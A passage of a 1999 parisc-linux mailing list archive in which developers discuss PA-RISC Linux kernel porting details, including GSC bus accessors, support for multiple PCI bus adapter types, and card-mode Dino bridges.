X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Muratti <rmurat@ibm.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] HP3000 928LX Support?
Date: Thu, 02 Sep 1999 22:16:39 +1000
Lines: 4
Approved: news@gmane.org
Message-ID: <3.0.32.19990902221638.009d1de0@pop01.ny.us.ibm.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
X-Trace: ger.gmane.org 1416619744 13757 80.91.229.3 (22 Nov 2014 01:29:04 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:29:04 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: rmurat@ibm.net  Thu Sep  2 06:14:51 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id GAA05673
	for <parisc-linux@puffin.external.hp.com>; Thu, 2 Sep 1999 06:14:50 -0600
Original-Received: (qmail 30455 invoked by uid 15267); 2 Sep 1999 12:16:42 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 30448 invoked from network); 2 Sep 1999 12:16:41 -0000
Original-Received: from picard.corpconnect.com.au (root@203.34.58.3)
  by mailserv2.iuinc.com with SMTP; 2 Sep 1999 12:16:41 -0000
Original-Received: from klingon (ppro.corpconnect.com.au [203.34.58.17])
	by picard.corpconnect.com.au (8.8.7/8.8.7) with SMTP id WAA22905
	for <parisc-linux@thepuffingroup.com>; Thu, 2 Sep 1999 22:16:37 +1000
X-Sender: rmurat@pop01.ny.us.ibm.net (Unverified)
X-Mailer: Windows Eudora Pro Version 3.0 (32)
Xref: news.gmane.org gmane.linux.ports.parisc:9866

Thanks for the info guys.

Rick


From - Thu Nov 08 21:15:59 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Philipp Rumpf <prumpf@suse.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux-cvs] grundler
Date: Thu, 2 Sep 1999 16:26:56 +0200
Lines: 11
Approved: news@gmane.org
Message-ID: <19990902162656.H10698@suse.de>
References: <199909012302.RAA04035@puffin.external.hp.com> <19990902104007.H629@suse.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619745 13763 80.91.229.3 (22 Nov 2014 01:29:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:29:05 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: prumpf@suse.de  Thu Sep  2 08:25:06 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id IAA06008
	for <parisc-linux@puffin.external.hp.com>; Thu, 2 Sep 1999 08:25:05 -0600
Original-Received: (qmail 28080 invoked by uid 15267); 2 Sep 1999 14:26:57 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 28073 invoked from network); 2 Sep 1999 14:26:56 -0000
Original-Received: from cantor.suse.de (194.112.123.193)
  by mailserv2.iuinc.com with SMTP; 2 Sep 1999 14:26:56 -0000
Original-Received: from Galois.suse.de (Galois.suse.de [194.112.123.130])
	by Cantor.suse.de (Postfix) with ESMTP id 2F23232CE8
	for <parisc-linux@thepuffingroup.com>; Thu, 02 Sep 1999 16:26:56 +0200 (MEST)
Original-Received: from Wotan.suse.de (Wotan.suse.de [10.10.0.1])
	by Galois.suse.de (Postfix) with ESMTP id 252AE67AF
	for <parisc-linux@thepuffingroup.com>; Thu,  2 Sep 1999 16:26:56 +0200 (MEST)
Original-Received: by Wotan.suse.de (Postfix, from userid 561)
	id 15FEE7F8B; Thu,  2 Sep 1999 16:26:56 +0200 (MEST)
X-Mailer: Mutt 0.95.4i
In-Reply-To: <19990902104007.H629@suse.de>; from Philipp Rumpf on Thu, Sep 02, 1999 at 10:40:07AM +0200
Xref: news.gmane.org gmane.linux.ports.parisc:9867

> I don't want to sound aggressive, but I really do not see the point in most
> of your changes.

I really didn't.  Honest.  Even if the rest of the mails seems to have suggested
so to about everyone who read them.

> the type of irqs is defined to be int (not unsigned int) in ABIs we cannot

APIs.  Sorry.  Second time today I mix them up.  (Actually, this one was the first
time).


From - Thu Nov 08 21:15:59 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <Matthew.Wilcox@genedata.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux-cvs] grundler
Date: Thu, 2 Sep 1999 16:43:43 +0200
Lines: 19
Approved: news@gmane.org
Message-ID: <19990902164343.V493@mencheca.ch.genedata.com>
References: <199909012302.RAA04044@puffin.external.hp.com> <19990902110831.I629@suse.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619745 13767 80.91.229.3 (22 Nov 2014 01:29:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:29:05 +0000 (UTC)
Cc: Grant Grundler <grundler@cup.hp.com>, parisc-linux@thepuffingroup.com
To: Philipp Rumpf <prumpf@suse.de>
Original-X-From: Matthew.Wilcox@genedata.com  Thu Sep  2 08:42:16 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id IAA06213
	for <parisc-linux@puffin.external.hp.com>; Thu, 2 Sep 1999 08:42:15 -0600
Original-Received: (qmail 1230 invoked by uid 15267); 2 Sep 1999 14:44:07 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 1198 invoked from network); 2 Sep 1999 14:44:05 -0000
Original-Received: from mentolat-e0.core.genedata.com (HELO mail.core.genedata.com) (157.161.173.16)
  by mailserv2.iuinc.com with SMTP; 2 Sep 1999 14:44:05 -0000
Original-Received: from relay.ch.genedata.com (pinatubo-e0.ch.genedata.com [157.161.173.48])
	by mail.core.genedata.com (8.9.3/8.9.3) with ESMTP id QAA21532;
	Thu, 2 Sep 1999 16:43:49 +0200
Original-Received: from mencheca.ch.genedata.com (root@mencheca.ch.genedata.com [157.161.173.82])
	by relay.ch.genedata.com (8.9.3/8.9.3) with ESMTP id QAA566183;
	Thu, 2 Sep 1999 16:43:43 +0200 (CEST)
Original-Received: by genedata.com
	via sendmail from stdin
	id <m11MY5X-00025eC@mencheca.ch.genedata.com> (Debian Smail3.2.0.102)
	for grundler@cup.hp.com; Thu, 2 Sep 1999 16:43:43 +0200 (CEST) 
X-Mailer: Mutt 0.95.3i
In-Reply-To: <19990902110831.I629@suse.de>; from Philipp Rumpf on Thu, Sep 02, 1999 at 11:08:31AM +0200
Xref: news.gmane.org gmane.linux.ports.parisc:9868

On Thu, Sep 02, 1999 at 11:08:31AM +0200, Philipp Rumpf wrote:
>  - use of readb aso instead of gsc_readb aso
> 
> gsc_readb is there for a reason.

Let me amplify on this a little.  As I understand it, Linus has decreed
that readb/writeb/(etc) shall work on busses which `look like PCI'.
All other busses (zorro, podule, sbus, ...) shall define their own
*_readb/writeb/...  functions.  People have proposed auto-detecting which
bus is being written to and doing the right thing, but Linus disagrees.
So that's why we have gsc_readb, because GSC looks insufficiently
like PCI.  Does this make sense?

-- 
Matthew Wilcox <willy@bofh.ai>
"Windows and MacOS are products, contrived by engineers in the service of
specific companies. Unix, by contrast, is not so much a product as it is a
painstakingly compiled oral history of the hacker subculture." - N Stephenson


From - Thu Nov 08 21:15:59 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux-cvs] grundler
Date: Thu, 02 Sep 1999 10:20:32 -0700
Lines: 27
Approved: news@gmane.org
Message-ID: <199909021720.KAA07391@milano.cup.hp.com>
References: <19990902111258.J629@suse.de>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619745 13771 80.91.229.3 (22 Nov 2014 01:29:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:29:05 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Philipp Rumpf <prumpf@suse.de>
Original-X-From: grundler@cup.hp.com  Thu Sep  2 11:21:18 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id LAA06774
	for <parisc-linux@puffin.external.hp.com>; Thu, 2 Sep 1999 11:21:18 -0600
Original-Received: (qmail 18272 invoked by uid 15267); 2 Sep 1999 17:23:10 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 18254 invoked from network); 2 Sep 1999 17:23:09 -0000
Original-Received: from cosrel2.hp.com (156.153.255.162)
  by mailserv2.iuinc.com with SMTP; 2 Sep 1999 17:23:09 -0000
Original-Received: from milano.cup.hp.com (root@milano.cup.hp.com [15.16.124.11])
	by cosrel2.hp.com (8.8.6 (PHNE_17135)/8.8.5tis) with ESMTP id LAA27200
	for <parisc-linux@thepuffingroup.com>; Thu, 2 Sep 1999 11:22:51 -0600 (MDT)
Original-Received: from localhost (grundler@localhost [127.0.0.1]) by milano.cup.hp.com with SMTP (8.8.6 (PHNE_14041)/8.7.3 TIS Messaging 5.0) id KAA07391; Thu, 2 Sep 1999 10:20:32 -0700 (PDT)
X-Authentication-Warning: milano.cup.hp.com: grundler@localhost [127.0.0.1] didn't use HELO protocol
In-reply-to: Your message of "Thu, 02 Sep 1999 11:12:58 PDT."
             <19990902111258.J629@suse.de> 
Xref: news.gmane.org gmane.linux.ports.parisc:9869

Philipp Rumpf wrote:
> > Modified Files:
> > 	pci.c 
> 
> - removed support for more than one bus

Not quite - removed support for more than one type of PCI bus adapter.
PA platforms only support one type of PCI bus adapter at a time.
We could link in more than on PCI bus driver but only one will
ever get used. (At least that's my goal).

> we don't want that, do we ?

Rather we don't need it.
If you want it you can have it. :^)

> That's it for today, I promise.

ditto.

thanks,
grant

Grant Grundler
Communications Infrastructure Computer Operations
+1.408.447.7253


From - Thu Nov 08 21:15:59 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alex deVries <adevries@thepuffingroup.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] pa.h
Date: Thu, 02 Sep 1999 19:11:12 -0400
Organization: The Puffin Group
Lines: 22
Approved: news@gmane.org
Message-ID: <37CF0410.6A8CD6DD@thepuffingroup.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619746 13773 80.91.229.3 (22 Nov 2014 01:29:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:29:06 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: adevries@thepuffingroup.com  Thu Sep  2 16:52:16 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id QAA07097
	for <parisc-linux@puffin.external.hp.com>; Thu, 2 Sep 1999 16:52:16 -0600
Original-Received: (qmail 32462 invoked by uid 15267); 2 Sep 1999 22:54:03 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 32439 invoked from network); 2 Sep 1999 22:54:02 -0000
Original-Received: from sprite.puffingroup.com (HELO feather.thepuffingroup.com) (209.151.2.200)
  by mailserv2.iuinc.com with SMTP; 2 Sep 1999 22:54:02 -0000
Original-Received: from thepuffingroup.com (IDENT:adevries@localhost [127.0.0.1])
	by feather.thepuffingroup.com (8.9.3/8.9.3) with ESMTP id TAA01162
	for <parisc-linux@thepuffingroup.com>; Thu, 2 Sep 1999 19:11:12 -0400
Original-Sender: adevries@thepuffingroup.com
X-Mailer: Mozilla 4.51 [en] (X11; I; Linux 2.2.10 i686)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:9870


So, I'm told there's a package called the Device Driver Toolkit (or
similiar) for PA RISC.  Inside it, there'd be a file called pa.h.  I
don't actually have this package, but would love to have access to this
file.

In the same way that we've legally copied .h files from HPUX into the
Linux kernel tree, I'd like include pa.h.

Is there someone out there who has a copy of this file (and perhaps
other associated .h files)?

I'm interested in this because I want to setup a hardware inventory
database properly.

- Alex

-- 
Alex deVries
Vice President of Engineering
The Puffin Group


From - Thu Nov 08 21:16:00 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Philipp Rumpf <prumpf@suse.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux-cvs] grundler
Date: Fri, 3 Sep 1999 13:15:41 +0200
Lines: 11
Approved: news@gmane.org
Message-ID: <19990903131541.K10698@suse.de>
References: <19990902111258.J629@suse.de> <199909021720.KAA07391@milano.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619746 13778 80.91.229.3 (22 Nov 2014 01:29:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:29:06 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Grant Grundler <grundler@cup.hp.com>
Original-X-From: prumpf@suse.de  Fri Sep  3 05:13:49 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id FAA08566
	for <parisc-linux@puffin.external.hp.com>; Fri, 3 Sep 1999 05:13:49 -0600
Original-Received: (qmail 16482 invoked by uid 15267); 3 Sep 1999 11:15:43 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 16475 invoked from network); 3 Sep 1999 11:15:42 -0000
Original-Received: from cantor.suse.de (194.112.123.193)
  by mailserv2.iuinc.com with SMTP; 3 Sep 1999 11:15:42 -0000
Original-Received: from Galois.suse.de (Galois.suse.de [194.112.123.130])
	by Cantor.suse.de (Postfix) with ESMTP
	id 1ABB632CEF; Fri, 03 Sep 1999 13:15:42 +0200 (MEST)
Original-Received: from Wotan.suse.de (Wotan.suse.de [10.10.0.1])
	by Galois.suse.de (Postfix) with ESMTP
	id 0F47567A9; Fri,  3 Sep 1999 13:15:42 +0200 (MEST)
Original-Received: by Wotan.suse.de (Postfix, from userid 561)
	id EE91B7F8B; Fri,  3 Sep 1999 13:15:41 +0200 (MEST)
X-Mailer: Mutt 0.95.4i
In-Reply-To: <199909021720.KAA07391@milano.cup.hp.com>; from Grant Grundler on Thu, Sep 02, 1999 at 10:20:32AM -0700
Xref: news.gmane.org gmane.linux.ports.parisc:9871

> Not quite - removed support for more than one type of PCI bus adapter.
> PA platforms only support one type of PCI bus adapter at a time.

Sorry ? Alex told me the exact opposite when I asked him and I relied on that.

So:  Are there parisc boxen with more than one type of interface to PCI-like
busses ? For example, can I take a Dino-on-a-card card and put it into a box
which does not use Dino as native-to-PCI bridge ?

	Philipp Rumpf


From - Thu Nov 08 21:16:00 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alex deVries <adevries@thepuffingroup.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux-cvs] grundler
Date: Fri, 03 Sep 1999 12:22:58 -0400
Organization: The Puffin Group
Lines: 21
Approved: news@gmane.org
Message-ID: <37CFF5E2.8F0E664F@thepuffingroup.com>
References: <19990902111258.J629@suse.de> <199909021720.KAA07391@milano.cup.hp.com> <19990903131541.K10698@suse.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619746 13781 80.91.229.3 (22 Nov 2014 01:29:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:29:06 +0000 (UTC)
Cc: Grant Grundler <grundler@cup.hp.com>, parisc-linux@thepuffingroup.com
To: Philipp Rumpf <prumpf@suse.de>
Original-X-From: adevries@thepuffingroup.com  Fri Sep  3 10:06:33 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id KAA09125
	for <parisc-linux@puffin.external.hp.com>; Fri, 3 Sep 1999 10:06:31 -0600
Original-Received: (qmail 25591 invoked by uid 15267); 3 Sep 1999 16:08:00 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 25579 invoked from network); 3 Sep 1999 16:07:59 -0000
Original-Received: from sprite.puffingroup.com (HELO feather.thepuffingroup.com) (209.151.2.200)
  by mailserv2.iuinc.com with SMTP; 3 Sep 1999 16:07:59 -0000
Original-Received: from thepuffingroup.com (IDENT:adevries@localhost [127.0.0.1])
	by feather.thepuffingroup.com (8.9.3/8.9.3) with ESMTP id MAA01846;
	Fri, 3 Sep 1999 12:22:58 -0400
Original-Sender: adevries@thepuffingroup.com
X-Mailer: Mozilla 4.51 [en] (X11; I; Linux 2.2.10 i686)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:9872

Philipp Rumpf wrote:
> > Not quite - removed support for more than one type of PCI bus adapter.
> > PA platforms only support one type of PCI bus adapter at a time.
> 
> Sorry ? Alex told me the exact opposite when I asked him and I relied on that.

I don't *think* I ever said that, but if I did, I was wrong.

> So:  Are there parisc boxen with more than one type of interface to PCI-like
> busses ? For example, can I take a Dino-on-a-card card and put it into a box
> which does not use Dino as native-to-PCI bridge ?

And does the dino-on-a-card have it's own IODC on the card?

- Alex

-- 
Alex deVries
Vice President of Engineering
The Puffin Group


From - Thu Nov 08 21:16:00 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Philipp Rumpf <prumpf@suse.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: PCI-like busses
Date: Fri, 3 Sep 1999 20:46:34 +0200
Lines: 29
Approved: news@gmane.org
Message-ID: <19990903204634.N10698@suse.de>
References: <19990903131541.K10698@suse.de> <199909031827.LAA08791@milano.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619747 13784 80.91.229.3 (22 Nov 2014 01:29:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:29:07 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Grant Grundler <grundler@cup.hp.com>
Original-X-From: prumpf@suse.de  Fri Sep  3 12:44:42 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id MAA09664
	for <parisc-linux@puffin.external.hp.com>; Fri, 3 Sep 1999 12:44:41 -0600
Original-Received: (qmail 19637 invoked by uid 15267); 3 Sep 1999 18:46:35 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 19626 invoked from network); 3 Sep 1999 18:46:35 -0000
Original-Received: from cantor.suse.de (194.112.123.193)
  by mailserv2.iuinc.com with SMTP; 3 Sep 1999 18:46:35 -0000
Original-Received: from Galois.suse.de (Galois.suse.de [194.112.123.130])
	by Cantor.suse.de (Postfix) with ESMTP
	id 9DB2532CE6; Fri, 03 Sep 1999 20:46:34 +0200 (MEST)
Original-Received: from Wotan.suse.de (Wotan.suse.de [10.10.0.1])
	by Galois.suse.de (Postfix) with ESMTP
	id 7C6CC67A9; Fri,  3 Sep 1999 20:46:34 +0200 (MEST)
Original-Received: by Wotan.suse.de (Postfix, from userid 561)
	id 5EC497F8B; Fri,  3 Sep 1999 20:46:34 +0200 (MEST)
X-Mailer: Mutt 0.95.4i
In-Reply-To: <199909031827.LAA08791@milano.cup.hp.com>; from Grant Grundler on Fri, Sep 03, 1999 at 11:27:10AM -0700
Xref: news.gmane.org gmane.linux.ports.parisc:9873

> > So:  Are there parisc boxen with more than one type of interface to PCI-like
> > busses?
> 
> B/C/D class boxen haben PCI u. EISA (u. GSC) "slots".
> Since learning EISA/ISA busses are "PCI-like", the answer is "yes".

Of course, strictly speaking we could separate between pci busses (where we
have configuration space accesses) and isa-like busses (where we don't).  I
don't see any advantage.  For port accesses, we don't have to separate.

> And if this answer is right, then I'll put back the "multi-bus type"
> support in pci.h. I don't get how EISA would use these services
> (perhaps just the IRQ stuff?) but I'll trust you on that.

Remember I still want to remove the IRQ handling out of struct pci_bus_ops.

> Yes - but I'm only aware of K/T class "form factor" (shape/size).
> These won't normally fit in the A/B/C/D class boxes which also have

The Dino-on-a-card I have in the A180C is quite long, yes.

> (Next week I'll see if I can wedge the K-class one into a workstation
> anyway)

Don't destroy any hardware ;)


	Philipp Rumpf


From - Thu Nov 08 21:16:00 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] PCI-like busses
Date: Fri, 03 Sep 1999 11:27:10 -0700
Lines: 36
Approved: news@gmane.org
Message-ID: <199909031827.LAA08791@milano.cup.hp.com>
References: <19990903131541.K10698@suse.de>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619747 13786 80.91.229.3 (22 Nov 2014 01:29:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:29:07 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Philipp Rumpf <prumpf@suse.de>
Original-X-From: grundler@cup.hp.com  Fri Sep  3 14:46:05 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id OAA10056
	for <parisc-linux@puffin.external.hp.com>; Fri, 3 Sep 1999 14:46:05 -0600
Original-Received: (qmail 26628 invoked by uid 15267); 3 Sep 1999 20:47:59 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 26621 invoked from network); 3 Sep 1999 20:47:58 -0000
Original-Received: from cosrel1.hp.com (156.153.255.170)
  by mailserv2.iuinc.com with SMTP; 3 Sep 1999 20:47:58 -0000
Original-Received: from milano.cup.hp.com (root@milano.cup.hp.com [15.16.124.11])
	by cosrel1.hp.com (8.8.6 (PHNE_17135)/8.8.5tis) with ESMTP id MAA02218
	for <parisc-linux@thepuffingroup.com>; Fri, 3 Sep 1999 12:30:04 -0600 (MDT)
Original-Received: from localhost (grundler@localhost [127.0.0.1]) by milano.cup.hp.com with SMTP (8.8.6 (PHNE_14041)/8.7.3 TIS Messaging 5.0) id LAA08791; Fri, 3 Sep 1999 11:27:13 -0700 (PDT)
X-Authentication-Warning: milano.cup.hp.com: grundler@localhost [127.0.0.1] didn't use HELO protocol
In-reply-to: Your message of "Fri, 03 Sep 1999 13:15:41 PDT."
             <19990903131541.K10698@suse.de> 
Xref: news.gmane.org gmane.linux.ports.parisc:9874

Philipp Rumpf wrote:
> > Not quite - removed support for more than one type of PCI bus adapter.
> > PA platforms only support one type of PCI bus adapter at a time.
> 
> Sorry ? Alex told me the exact opposite when I asked him and I relied on that
>   .

Ok.

> So:  Are there parisc boxen with more than one type of interface to PCI-like
> busses?

B/C/D class boxen haben PCI u. EISA (u. GSC) "slots".
Since learning EISA/ISA busses are "PCI-like", the answer is "yes".
And if this answer is right, then I'll put back the "multi-bus type"
support in pci.h. I don't get how EISA would use these services
(perhaps just the IRQ stuff?) but I'll trust you on that.

> For example, can I take a Dino-on-a-card card and put it into a box
> which does not use Dino as native-to-PCI bridge ?

Yes - but I'm only aware of K/T class "form factor" (shape/size).
These won't normally fit in the A/B/C/D class boxes which also have
GSC slots. Any other HP person know if any card-mode Dino's were
made for workstations?

(Next week I'll see if I can wedge the K-class one into a workstation
anyway)

grant


Grant Grundler
Communications Infrastructure Computer Operations
+1.408.447.7253


From - Thu Nov 08 21:16:00 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Card-mode Dino
Date: Fri, 03 Sep 1999 15:47:06 -0700
Lines: 11
Approved: news@gmane.org
Message-ID: <199909032247.PAA09181@milano.cup.hp.com>
References: <37CFF5E2.8F0E664F@thepuffingroup.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619747 13789 80.91.229.3 (22 Nov 2014 01:29:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:29:07 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Alex deVries <adevries@thepuffingroup.com>
Original-X-From: grundler@cup.hp.com  Fri Sep  3 16:47:46 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id QAA10329
	for <parisc-linux@puffin.external.hp.com>; Fri, 3 Sep 1999 16:47:45 -0600
Original-Received: (qmail 23456 invoked by uid 15267); 3 Sep 1999 22:49:39 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 23446 invoked from network); 3 Sep 1999 22:49:39 -0000
Original-Received: from cosrel2.hp.com (156.153.255.162)
  by mailserv2.iuinc.com with SMTP; 3 Sep 1999 22:49:39 -0000
Original-Received: from milano.cup.hp.com (root@milano.cup.hp.com [15.16.124.11])
	by cosrel2.hp.com (8.8.6 (PHNE_17135)/8.8.5tis) with ESMTP id QAA00782;
	Fri, 3 Sep 1999 16:49:20 -0600 (MDT)
Original-Received: from localhost (grundler@localhost [127.0.0.1]) by milano.cup.hp.com with SMTP (8.8.6 (PHNE_14041)/8.7.3 TIS Messaging 5.0) id PAA09181; Fri, 3 Sep 1999 15:47:06 -0700 (PDT)
X-Authentication-Warning: milano.cup.hp.com: grundler@localhost [127.0.0.1] didn't use HELO protocol
In-reply-to: Your message of "Fri, 03 Sep 1999 12:22:58 PDT."
             <37CFF5E2.8F0E664F@thepuffingroup.com> 
Xref: news.gmane.org gmane.linux.ports.parisc:9875

Alex deVries wrote:

> And does the dino-on-a-card have it's own IODC on the card?

No. Dino implements the PA I/O architected registers but no IODC.
I suspect the problem is it's really a bus converter and that
needs PDC support - IODC entry points don't apply to this.
Can anyone confirm this?

grant


From - Thu Nov 08 21:16:00 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] milli.S and 0xd's
Date: Fri, 3 Sep 1999 17:36:18 -0700 (PDT)
Lines: 17
Approved: news@gmane.org
Message-ID: <199909040036.RAA09488@milano.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=X-roman8
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619748 13795 80.91.229.3 (22 Nov 2014 01:29:08 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:29:08 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: grundler@cup.hp.com  Fri Sep  3 18:36:56 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id SAA10613
	for <parisc-linux@puffin.external.hp.com>; Fri, 3 Sep 1999 18:36:55 -0600
Original-Received: (qmail 11957 invoked by uid 15267); 4 Sep 1999 00:38:50 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 11948 invoked from network); 4 Sep 1999 00:38:49 -0000
Original-Received: from palrel3.hp.com (156.153.255.226)
  by mailserv2.iuinc.com with SMTP; 4 Sep 1999 00:38:49 -0000
Original-Received: from milano.cup.hp.com (grundler@milano.cup.hp.com [15.16.124.11])
	by palrel3.hp.com (8.8.6 (PHNE_17135)/8.8.5tis) with ESMTP id RAA22045
	for <parisc-linux@thepuffingroup.com>; Fri, 3 Sep 1999 17:38:47 -0700 (PDT)
